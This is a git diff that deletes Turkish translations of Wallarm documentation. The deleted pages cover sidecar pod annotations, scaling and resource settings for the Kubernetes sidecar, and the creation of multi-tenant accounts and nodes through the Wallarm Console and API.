              `config.sidecar.initContainers.iptables.resources.requests.cpu` | `sidecar-init-iptables` konteyneri için [istenen CPU](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-iptables-memory`

              `config.sidecar.initContainers.iptables.resources.requests.memory` | `sidecar-init-iptables` konteyneri için [istenen bellek](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-iptables-cpu-limit`

              `config.sidecar.initContainers.iptables.resources.limits.cpu` | `sidecar-init-iptables` konteyneri için [CPU limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-iptables-memory-limit`

              `config.sidecar.initContainers.iptables.resources.limits.memory` | `sidecar-init-iptables` konteyneri için [bellek limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-helper-cpu`

              `config.sidecar.initContainers.helper.resources.requests.cpu` | `sidecar-init-helper` konteyneri için [istenen CPU](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-helper-memory`

              `config.sidecar.initContainers.helper.resources.requests.memory` | `sidecar-init-helper` konteyneri için [istenen bellek](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-helper-cpu-limit`

              `config.sidecar.initContainers.helper.resources.limits.cpu` | `sidecar-init-helper` konteyneri için [CPU limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-helper-memory-limit`

              `config.sidecar.initContainers.helper.resources.limits.memory` | `sidecar-init-helper` konteyneri için [bellek limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/profile`

              Chart değeri yok | Annotasyon, [TLS/SSL sonlandırması](customization.md#ssltls-termination) için bir uygulama pod’una belirli bir TLS profilini atamak amacıyla kullanılır.

              Bu annotasyon ve TLS/SSL sonlandırması Helm chart 4.6.1’den itibaren desteklenmektedir. | - -Wallarm tarafından desteklenen ve doğrudan annotasyonlarla kapsanmayan daha fazla [NGINX yönergesi][nginx-directives-docs] vardır. Yine de bunları [`nginx-*-snippet` ve `nginx-*-include` annotasyonlarını](customization.md#using-custom-nginx-configuration) kullanarak yapılandırabilirsiniz. - -## Annotasyonlar nasıl kullanılır - -Bir pod’a annotasyon uygulamak için, ilgili uygulama konfigürasyonunun `Deployment` nesnesi ayarlarında belirtin, örneğin: - - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` \ No newline at end of file diff --git a/docs/latest-tr/installation/kubernetes/sidecar-proxy/scaling.md b/docs/latest-tr/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 0b56729b4f..0000000000 --- a/docs/latest-tr/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,357 +0,0 @@ -# Wallarm Sidecar'ın Ölçeklendirilmesi ve Yüksek Erişilebilirliği - -Bu kılavuz, [Wallarm Sidecar çözümünün][sidecar-docs] ölçeklendirilmesi, Yüksek Erişilebilirlik (HA) ve doğru kaynak tahsisi ayrıntılarına odaklanır. Bu ayarları etkili şekilde yapılandırarak Wallarm Sidecar’ın güvenilirliğini ve performansını artırabilir, minimum kesinti süresi ve verimli istek işleme sağlayabilirsiniz. - -Yapılandırma genel olarak iki bölüme ayrılır: - -* Wallarm Sidecar denetim düzlemi (control plane) için ayrılmış ayarlar -* Enjekte edilmiş sidecar ile uygulama iş yükü için ayarlar - -Wallarm Sidecar’ın ölçeklendirilmesi ve yüksek erişilebilirliği standart Kubernetes uygulamalarına dayanır. Önerilerimizi uygulamadan önce temelleri kavramak için şu önerilen bağlantılara göz atmayı düşünebilirsiniz: - -* [Kubernetes Yatay Pod Otomatik Ölçeklendirme (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/) -* [Kubernetes'te yüksek erişilebilir kümeler](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/) -* [Konteynerlere ve Pod'lara CPU kaynaklarının atanması](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) - -## Wallarm Sidecar denetim düzleminin ölçeklendirilmesi - -Wallarm Sidecar çözümü [iki bileşenden oluşur: controller ve postanalytics (wstore)][sidecar-arch-docs]. Her biri için ayrı ölçeklendirme yapılandırmaları gerekir; `replicas`, `requests` ve `podAntiAffinity` gibi Kubernetes parametrelerini içerir. - -### Controller - -Sidecar Controller, uygulamanın Pod’una sidecar konteynerleri enjekte eden mutating admission webhook olarak çalışır. Çoğu durumda, HPA ile ölçeklendirme gerekmez. HA dağıtımı için `values.yaml` dosyasındaki aşağıdaki ayarları göz önünde bulundurun: - -* Sidecar Pod’undan birden fazla örnek kullanın. Bunu [`controller.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L867) özniteliği ile denetleyin. -* İsteğe bağlı olarak, denetleyici Pod’u için ayrılmış kaynakları sağlamak üzere [`controller.resources.requests.cpu` ve `controller.resources.requests.memory`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L991) değerlerini belirleyin. -* İsteğe bağlı olarak, bir düğüm arızası durumunda dayanıklılık sağlamak için denetleyici Pod’larını farklı düğümlere dağıtmak amacıyla pod anti-affinity kullanın. - -Aşağıda, bu önerileri içeren `values.yaml` dosyasındaki `controller` bölümünün ayarlanmış bir örneği verilmiştir: - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi -``` - -### Postanalytics (wstore) - -postanalytics bileşeni, uygulama iş yükünüze enjekte edilen tüm sidecar konteynerlerinden gelen trafiği işler. Bu bileşen HPA ile ölçeklenemez. - -HA dağıtımı için, `values.yaml` dosyasındaki aşağıdaki ayarları kullanarak replika sayısını manuel olarak ayarlayabilirsiniz: - -* postanalytics Pod’undan birden fazla örnek kullanın. Bunu [`postanalytics.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L447) özniteliğiyle denetleyin. -* Beklenen uygulama iş yükü trafik hacmine bağlı olarak [`postanalytics.wstore.config.arena`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625) değerini gigabayt (GB) cinsinden yapılandırın. Bu ayar, wstore’un kullanacağı maksimum belleği belirler. Hesaplama yönergeleri için, [diğer dağıtım seçeneklerine yönelik aynı önerilerimizi][wstore-memory-recommendations] yararlı bulabilirsiniz. - - [NGINX Node 5.x and earlier][what-is-new-wstore] sürümlerinde, parametrenin adı `postanalytics.tarantool.config.arena` idi. Yükseltme sırasında yeniden adlandırma gereklidir. -* [`postanalytics.wstore.resources.limits` ve `postanalytics.wstore.resources.requests`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L654) değerlerini `arena` yapılandırmasıyla hizalayın. Zirve talebi karşılamak ve bellekle ilgili çöküşleri önlemek için `limits` değerini `arena` değerine eşit veya daha yüksek ayarlayın. wstore’un en iyi performansı için `requests` değerinin `arena` değerine eşit veya ondan büyük olduğundan emin olun. Daha fazla bilgi için [Kubernetes belgelerine](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/) bakın. - - [NGINX Node 5.x and earlier][what-is-new-wstore] sürümlerinde, parametrelerin adı `postanalytics.tarantool.resources.limits` ve `postanalytics.tarantool.resources.requests` idi. Yükseltme sırasında yeniden adlandırma gereklidir. -* İsteğe bağlı olarak, postanalytics (wstore) Pod’u için ayrılmış kaynak tahsisi sağlamak amacıyla `postanalytics` bölümü içindeki diğer tüm konteynerler için de `resources.requests` ve `resources.limits` ayarlayın. Bu konteynerler `postanalytics.init`, `postanalytics.supervisord` ve `postanalytics.appstructure` içerir. -* İsteğe bağlı olarak, bir düğüm arızası durumunda dayanıklılık sağlamak için postanalytics Pod’larını farklı düğümlere dağıtmak amacıyla pod anti-affinity uygulayın. - -Aşağıda, bu önerileri içeren `values.yaml` dosyasındaki `postanalytics` bölümünün ayarlanmış bir örneği verilmiştir: - -```yaml -postanalytics: - replicaCount: 2 - wstore: - config: - arena: "2.0" - resources: - limits: - cpu: 1000m - memory: 2Gi - requests: - cpu: 500m - memory: 2Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - supervisord: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -``` - -## Enjekte edilmiş sidecar konteynerleriyle uygulama iş yükünün ölçeklendirilmesi - -Uygulama iş yüklerini yönetmek için Horizontal Pod Autoscaling (HPA) kullanırken, Wallarm Sidecar tarafından enjekte edilenler de dahil olmak üzere Pod’daki her konteyner için `resources.requests` yapılandırmak esastır. - -### Önkoşullar - -Wallarm konteynerleri için [HPA uygulamasını](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/) başarıyla gerçekleştirmek üzere, aşağıdaki önkoşulların sağlandığından emin olun: - -* Kubernetes kümenizde [Metrics Server](https://github.com/kubernetes-sigs/metrics-server#readme) dağıtılmış ve yapılandırılmış olmalıdır. -* Uygulama Pod’undaki init konteynerler dahil tüm konteynerler için [`resources.request`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) yapılandırılmış olmalıdır. - - Uygulama konteyneri için kaynak tahsisi manifestinde belirtilmelidir. Wallarm tarafından enjekte edilen konteynerler için kaynak ayarları aşağıda özetlenmiştir; tahsis hem [genel düzeyde hem de Pod başına][sidecar-conf-area] yapılabilir. - -### Helm chart değerleriyle genel tahsis - -| Konteyner dağıtım deseni | Konteyner adı | Chart değeri | -|-------------------|-----------------------|--------------------------------------------------| -| [Split, Single][single-split-deployment] | sidecar-proxy | config.sidecar.containers.proxy.resources | -| Split | sidecar-helper | config.sidecar.containers.helper.resources | -| Split, Single | sidecar-init-iptables | config.sidecar.initContainers.iptables.resources | -| Split | sidecar-init-helper | config.sidecar.initContainers.helper.resources | - -Kaynakları (requests ve limits) genel olarak yönetmek için Helm chart değerleri örneği: - -```yaml -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` - -### Pod’un açıklamalarıyla (annotations) Pod başına tahsis - -| Konteyner dağıtım deseni | Konteyner adı | Açıklama | -|-------------------|-----------------------|------------------------------------------------------------------------| -| [Single, Split][single-split-deployment] | sidecar-proxy | sidecar.wallarm.io/proxy-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-helper | sidecar.wallarm.io/helper-{cpu,memory,cpu-limit,memory-limit} | -| Single, Split | sidecar-init-iptables | sidecar.wallarm.io/init-iptables-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-init-helper | sidecar.wallarm.io/init-helper-{cpu,memory,cpu-limit,memory-limit} | - -Pod başına kaynakları (requests ve limits) yönetmek için annotation örneği (`single` konteyner deseni etkin): - -```yaml hl_lines="16-24" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-cpu: 200m - sidecar.wallarm.io/proxy-cpu-limit: 500m - sidecar.wallarm.io/proxy-memory: 256Mi - sidecar.wallarm.io/proxy-memory-limit: 512Mi - sidecar.wallarm.io/init-iptables-cpu: 50m - sidecar.wallarm.io/init-iptables-cpu-limit: 100m - sidecar.wallarm.io/init-iptables-memory: 32Mi - sidecar.wallarm.io/init-iptables-memory-limit: 64Mi - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -## Örnek - -Aşağıda, yukarıda açıklanan ayarların uygulandığı Wallarm chart’ının `values.yaml` dosyası örneği bulunmaktadır. Bu örnek, Wallarm tarafından enjekte edilen konteynerler için kaynakların genel olarak tahsis edildiğini varsayar. - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi -postanalytics: - replicaCount: 2 - wstore: - config: - arena: "2.0" - resources: - limits: - cpu: 1000m - memory: 2Gi - requests: - cpu: 500m - memory: 2Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - supervisord: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` \ No newline at end of file diff --git a/docs/latest-tr/installation/multi-tenant/configure-accounts.md b/docs/latest-tr/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index 05e50d09ae..0000000000 --- a/docs/latest-tr/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1,150 +0,0 @@ -# Wallarm Console'da Kiracı Hesapları Oluşturma - -Bu talimatlar, [kiracı hesaplarının](overview.md) doğru yapılandırılması için adımları sağlar. - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## Kiracı hesaplarını yapılandırma - -Kiracı hesaplarını yapılandırmak için: - -1. Wallarm Console’a kaydolun ve hesabınız için çoklu kiracılık özelliğinin etkinleştirilmesi talebini Wallarm teknik desteğine gönderin. -1. Bir kiracı hesabı oluşturun. -1. Belirli trafiği kiracı ve onun uygulamalarıyla ilişkilendirin. - -### Adım 1: Kayıt olun ve çoklu kiracılık özelliğinin etkinleştirilmesi için talep gönderin - -1. Wallarm Console’daki kayıt formunu [US Cloud](https://us1.my.wallarm.com/signup) veya [EU Cloud](https://my.wallarm.com/signup) için doldurun ve onaylayın. - - ![Kayıt formu](../../images/signup-en.png) - - !!! info "Kurumsal e-posta" - Lütfen kurumsal e-posta adresi kullanarak kaydolun. -2. E-posta gelen kutunuzu açın ve gelen mesajdaki bağlantıyı kullanarak hesabı etkinleştirin. -3. Hesabınız için çoklu kiracılık özelliğinin etkinleştirilmesi talebini [Wallarm teknik desteğine](mailto:support@wallarm.com) gönderin. Talep ile birlikte aşağıdaki verileri iletin: - * Kullanılan Wallarm Cloud adı (US Cloud veya EU Cloud) - * Global hesap ve teknik kiracı hesabı için adlar - * Kiracı hesaplarına erişim verilecek çalışanların e-posta adresleri (çoklu kiracılık özelliği etkinleştirildikten sonra çalışanları kendiniz ekleyebileceksiniz) - * Markalı Wallarm Console için logo - * Wallarm Console için özel alan adı, alan adına ait sertifika ve şifreleme anahtarı - * Teknik destek e-posta adresiniz - -Talebinizi aldıktan sonra Wallarm teknik destek şunları yapacaktır: - -1. Wallarm Cloud’da bir global hesap ve teknik kiracı hesabı oluşturur. -2. Sizi teknik istemci hesabının kullanıcı listesine **Global administrator** [rolü](../../user-guides/settings/users.md) ile ekler. -3. Çalışanlarınızın e-posta adresleri sağlanmışsa, Wallarm teknik destek çalışanları teknik kiracı hesabının kullanıcı listesine **Global read only** [rolü](../../user-guides/settings/users.md) ile ekler. - - Kayıtlı olmayan çalışanlar, teknik kiracı hesabına erişmek için yeni bir parola belirleme bağlantısını içeren e-postalar alacaktır. -4. UUID’nizi gönderir (izole ortamlar için çoklu kiracılığı kullanan Wallarm iş ortağı şirketini veya Wallarm müşterisini belirten ana kiracı UUID’si). - - Alınan UUID sonraki adımlarda gerekecektir. - -### Adım 2: Kiracıyı oluşturun - -#### Wallarm Console üzerinden - -**Global administrator** hesabı altında, Wallarm Console → tenant selector → **Create tenant** yolunu izleyerek kiracılar oluşturabilirsiniz. - -![!Wallarm Console üzerinden kiracı oluşturma](../../images/partner-waf-node/tenant-create-via-ui.png) - -Yeni kiracınız için yeni bir **Administrator** [kullanıcı](../../user-guides/settings/users.md#user-roles) oluşturabilirsiniz. Davet e-postası belirtilen adrese gönderilecektir. - -#### Wallarm API aracılığıyla - -Kiracı oluşturmak için Wallarm API’ye kimliği doğrulanmış istekler gönderebilirsiniz. Wallarm API’ye kimliği doğrulanmış istekler, kendi API istemcinizden veya kimlik doğrulama yöntemini tanımlayan [Wallarm API Console](../../api/overview.md) üzerinden gönderilebilir: - -* İstekler **Wallarm API Console** üzerinden gönderilecekse, Wallarm Console’a **Global administrator** kullanıcı rolüyle giriş yapmanız ve şu adreste mevcut olan Wallarm API Console sayfasını yenilemeniz gerekir: - * US Cloud için https://apiconsole.us1.wallarm.com/ - * EU Cloud için https://apiconsole.eu1.wallarm.com/ -* İstekler **kendi API istemcinizden** gönderilecekse, istekte [Global Administrator izinlerine sahip API token'ı](../../user-guides/settings/api-tokens.md) iletmeniz gerekir. - -Bu adımda, bir global hesaba bağlı bir kiracı hesabı oluşturulacaktır. - -1. Aşağıdaki parametrelerle `/v1/objects/client/create` rotasına POST isteği gönderin: - - Parametre | Açıklama | İstek bölümü | Gerekli - --------- | -------- | ------------- | --------- - `X-WallarmApi-Token` | **Global Administrator** izinlerine sahip [API token](../../user-guides/settings/api-tokens.md). | Header | Evet, isteği kendi API istemcinizden gönderirken - `name` | Kiracının adı. | Body | Evet - `vuln_prefix` | Wallarm’ın güvenlik açığı izleme ve kiracı ile ilişkilendirme için kullanacağı güvenlik açığı öneki. Önek, dört büyük harf veya rakam içermeli ve kiracının adıyla ilişkili olmalıdır, örn.: `Tenant` kiracısı için `TNNT`. | Body | Evet - `partner_uuid` | Global hesap oluşturulurken alınan [ana kiracı UUID’si](#step-1-sign-up-and-send-a-request-to-activate-the-multitenancy-feature). | Body | Evet - - ??? info "Kendi API istemcinizden gönderilen istek örneğini göster" - === "US Cloud" - ```bash - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - === "EU Cloud" - ``` bash - curl -v -X POST "https://api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - - ??? info "Yanıt örneğini göster" - ``` bash - { - "status":200, - "body": { - "id":10110, - "name":"Tenant 1", - "components":["waf"], - "vuln_prefix":"TNTST", - ... - "uuid":"11111111-1111-1111-1111-111111111111", - ... - } - } - ``` - -2. İsteye gelen yanıttaki `uuid` parametresinin değerini kopyalayın. Bu parametre, kiracının trafiğini kiracı hesabına bağlarken kullanılacaktır. - -Oluşturulan kiracılar, [global kullanıcılar](../../user-guides/settings/users.md#user-roles) için Wallarm Console’da görüntülenecektir. Örneğin, `Tenant 1` ve `Tenant 2`: - -![Wallarm Console’da kiracı seçici](../../images/partner-waf-node/clients-selector-in-console.png) - -### Adım 3: Belirli trafiği kiracınızla ilişkilendirin - -!!! info "Ne zaman yapılandırmalı?" - Bu yapılandırma, düğüm dağıtımı sırasında ve yalnızca tüm kiracıların trafiği tek bir Wallarm düğümü tarafından [işleniyorsa veya işlenecekse](deploy-multi-tenant-node.md) yapılır. - - Ayrı bir düğüm her bir kiracının trafiğini işliyorsa, lütfen bu adımı atlayın ve [düğüm dağıtımı ve yapılandırmasına](deploy-multi-tenant-node.md) geçin. - -Wallarm Cloud’a hangi trafiğin hangi kiracı hesabı altında görüntüleneceğine dair bilgiyi sağlamak için belirli trafiği oluşturulan kiracıyla ilişkilendirmemiz gerekir. Bunu yapmak için, NGINX yapılandırma dosyasına kiracıyı, **Adım 3**’te elde edilen `uuid` değerini [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergesi için değer olarak kullanarak ekleyin. Örneğin: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... -} -``` - -Yukarıdaki yapılandırmada, `tenant1.com` hedefli trafik `11111111-1111-1111-1111-111111111111` istemcisiyle ilişkilendirilecektir. - -## Kullanıcılara hesaplara erişim sağlama - -* Teknik kiracı hesabında, kullanıcılara verilebilecek **global** ve **normal** [roller](../../user-guides/settings/users.md) vardır. - - Global kullanıcılar bağlı tüm kiracı hesaplarına erişebilecektir. - - Normal kullanıcılar yalnızca teknik kiracı hesabına erişebilecektir. -* Belirli kiracı hesaplarında, kullanıcılara verilebilecek yalnızca **normal** [roller](../../user-guides/settings/users.md) vardır. - - Kullanıcılar, belirli bir kiracı hesabı kapsamında engellenen istekleri takip edebilecek, keşfedilen güvenlik açıklarını analiz edebilecek ve filtreleme düğümünün ek yapılandırmalarını gerçekleştirebilecektir. Roller buna izin veriyorsa kullanıcılar birbirlerini kendileri ekleyebilecektir. - -[Çok kiracılı düğümün dağıtımı ve yapılandırmasına geçin →](deploy-multi-tenant-node.md) - -## Wallarm Console'da kiracı hesaplarını devre dışı bırakma ve etkinleştirme - -Wallarm Console’da, **Global administrator** rolüne sahip kullanıcı, bu yöneticinin hizmet verdiği global hesaba bağlı kiracı hesaplarını devre dışı bırakabilir. Kiracı hesabı devre dışı bırakıldığında: - -* Bu kiracı hesabının kullanıcıları Wallarm Console’a erişemez. -* Bu [kiracı seviyesinde](deploy-multi-tenant-node.md#multi-tenant-node-characteristics) kurulu filtreleme düğümü(leri) trafik işlemeyi durdurur. - -Devre dışı bırakılan hesaplar silinmez ve yeniden etkinleştirilebilir. - -Bir kiracı hesabını devre dışı bırakmak için, tenant selector içinde, kiracı menüsünden **Deactivate** öğesini seçin ve ardından onaylayın. Kiracı hesabı devre dışı bırakılacak ve kiracı listesinden gizlenecektir. - -![Kiracı - Deactivate](../../images/partner-waf-node/tenant-deactivate.png) - -Önceden devre dışı bırakılmış bir kiracı hesabını etkinleştirmek için, tenant selector içinde **Show deactivated tenants** öğesine tıklayın, ardından kiracınız için **Activate** seçeneğini belirleyin. \ No newline at end of file diff --git a/docs/latest-tr/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/latest-tr/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 4bc1a34e06..0000000000 --- a/docs/latest-tr/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1,163 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md - -# Çok Kiracılı Düğümün Dağıtımı ve Yapılandırılması - -[çok kiracılı](overview.md) düğüm, aynı anda birden fazla bağımsız şirket altyapısını veya izole ortamı korur. - -## Çok kiracılı düğüm dağıtım seçenekleri - -Altyapınıza ve ele alınan ihtiyaca göre çok kiracılı düğüm dağıtım seçeneğini seçin: - -* Tüm müşterilerin veya izole ortamların trafiğini filtrelemek için tek bir Wallarm node aşağıdaki gibi dağıtın: - - ![İş ortağı düğüm şeması](../../images/partner-waf-node/partner-traffic-processing-4.0.png) - - * Tek bir Wallarm node birden fazla kiracının (Tenant 1, Tenant 2) trafiğini işler. - - --8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - - * Wallarm düğümü, trafiği alacak kiracıyı, kiracıya özgü benzersiz tanımlayıcıya ([`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)) göre belirler. - * `https://tenant1.com` ve `https://tenant2.com` alan adları için, iş ortağı veya müşteri IP adresi `225.130.128.241` ile DNS A kayıtları yapılandırılmıştır. Bu ayar örnek olarak gösterilmiştir, iş ortağı ve kiracı tarafında farklı bir ayar kullanılabilir. - * İş ortağı tarafında, meşru isteklerin Tenant 1 (`http://upstream1:8080`) ve Tenant 2 (`http://upstream2:8080`) kiracılarının adreslerine yönlendirilmesi (proxy) yapılandırılmıştır. Bu ayar örnek olarak gösterilmiştir, iş ortağı ve kiracı tarafında farklı bir ayar kullanılabilir. - -* Her biri belirli bir kiracının trafiğini filtreleyen birden çok Wallarm node'u aşağıdaki gibi dağıtın: - - ![Müşteri - birden çok düğüm şeması](../../images/partner-waf-node/client-several-nodes.png) - - * Birden çok Wallarm node, her biri belirli bir kiracının trafiğini filtreler (Tenant 1, Tenant 2). - * https://tenant1.com alan adı için, müşteri IP adresi 225.130.128.241 ile DNS kaydı yapılandırılmıştır. - * https://tenant2.com alan adı için, müşteri IP adresi 225.130.128.242 ile DNS kaydı yapılandırılmıştır. - * Her düğüm meşru istekleri kendi kiracısının adreslerine yönlendirir (proxy): - * Düğüm 1 Tenant 1'e (http://upstream1:8080). - * Düğüm 2 Tenant 2'ye (http://upstream2:8080). - -## Çok kiracılı düğümün özellikleri - -Çok kiracılı düğüm: - -* Bir normal filtreleme düğümüyle aynı [platformlara](../../installation/supported-deployment-options.md) ve aynı talimatlara göre kurulabilir, **ancak** aşağıdakiler hariç: - - * MuleSoft Mule ve Flex Gateway bağlayıcısı - * Amazon CloudFront bağlayıcısı - * Cloudflare bağlayıcısı - * Broadcom Layer7 API Gateway bağlayıcısı - * Fastly bağlayıcısı - * Kong API Gateway bağlayıcısı - * Istio bağlayıcısı -* **Teknik kiracı** veya **kiracı** seviyesinde kurulabilir. Kiracıya Wallarm Console erişimi sağlamak istiyorsanız, filtreleme düğümü ilgili kiracı seviyesinde kurulmalıdır. -* Normal bir filtreleme düğümüyle aynı talimatlara göre yapılandırılabilir. -* Trafiği kiracılara göre bölmek için [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergesi kullanılır. -* Ayarları uygulamalara göre bölmek için [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) yönergesi kullanılır. - -## Dağıtım gereksinimleri - -* [Yapılandırılmış kiracı hesapları](configure-accounts.md) -* [technical tenant account](overview.md#tenant-accounts) altında eklenmiş **Global administrator** rolüne sahip kullanıcı tarafından sonraki komutların yürütülmesi -* [Filtreleme düğümü kurulumu için desteklenen platform](../../installation/supported-deployment-options.md) - -## Çok kiracılı düğüm dağıtımı için öneriler - -* Kiracının Wallarm Console'a erişmesi gerekiyorsa, filtreleme düğümünü uygun kiracı hesabı içinde oluşturun. -* Filtreleme düğümünü kiracının NGINX yapılandırma dosyası üzerinden yapılandırın. - -## Çok kiracılı düğüm dağıtımı prosedürü - -1. Wallarm Console → **Nodes** içinde, **Create node**'a tıklayın ve **Wallarm node** seçin. - - !!! info "Mevcut bir Wallarm düğümünü çok kiracılı moda geçirme" - Mevcut bir Wallarm düğümünü çok kiracılı moda geçirmek istiyorsanız, **Nodes** bölümünde ilgili düğüm menüsünden **Make it multi-tenant** seçeneğini kullanın. - - Geçiş ve onay sonrası, 4. adıma ilerleyin. -1. **Multi-tenant node** seçeneğini belirleyin. - - ![Çok kiracılı düğüm oluşturma](../../images/user-guides/nodes/create-multi-tenant-node.png) -1. Düğüm adını belirleyin ve **Create**'e tıklayın. -1. Filtreleme düğümü jetonunu kopyalayın. -1. Filtreleme düğümünün dağıtım biçimine bağlı olarak, [uygun talimatlardaki](../../installation/supported-deployment-options.md) adımları uygulayın. -1. Trafiği kiracıların benzersiz tanımlayıcılarını kullanarak kiracılar arasında bölün. - - === "NGINX ve NGINX Plus" - Kiracının NGINX yapılandırma dosyasını açın ve [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergesini kullanarak trafiği kiracılar arasında bölün. Aşağıdaki örneğe bakın. - === "NGINX Ingress Controller" - Her Ingress kaynağı için kiracı UUID'sini ayarlamak 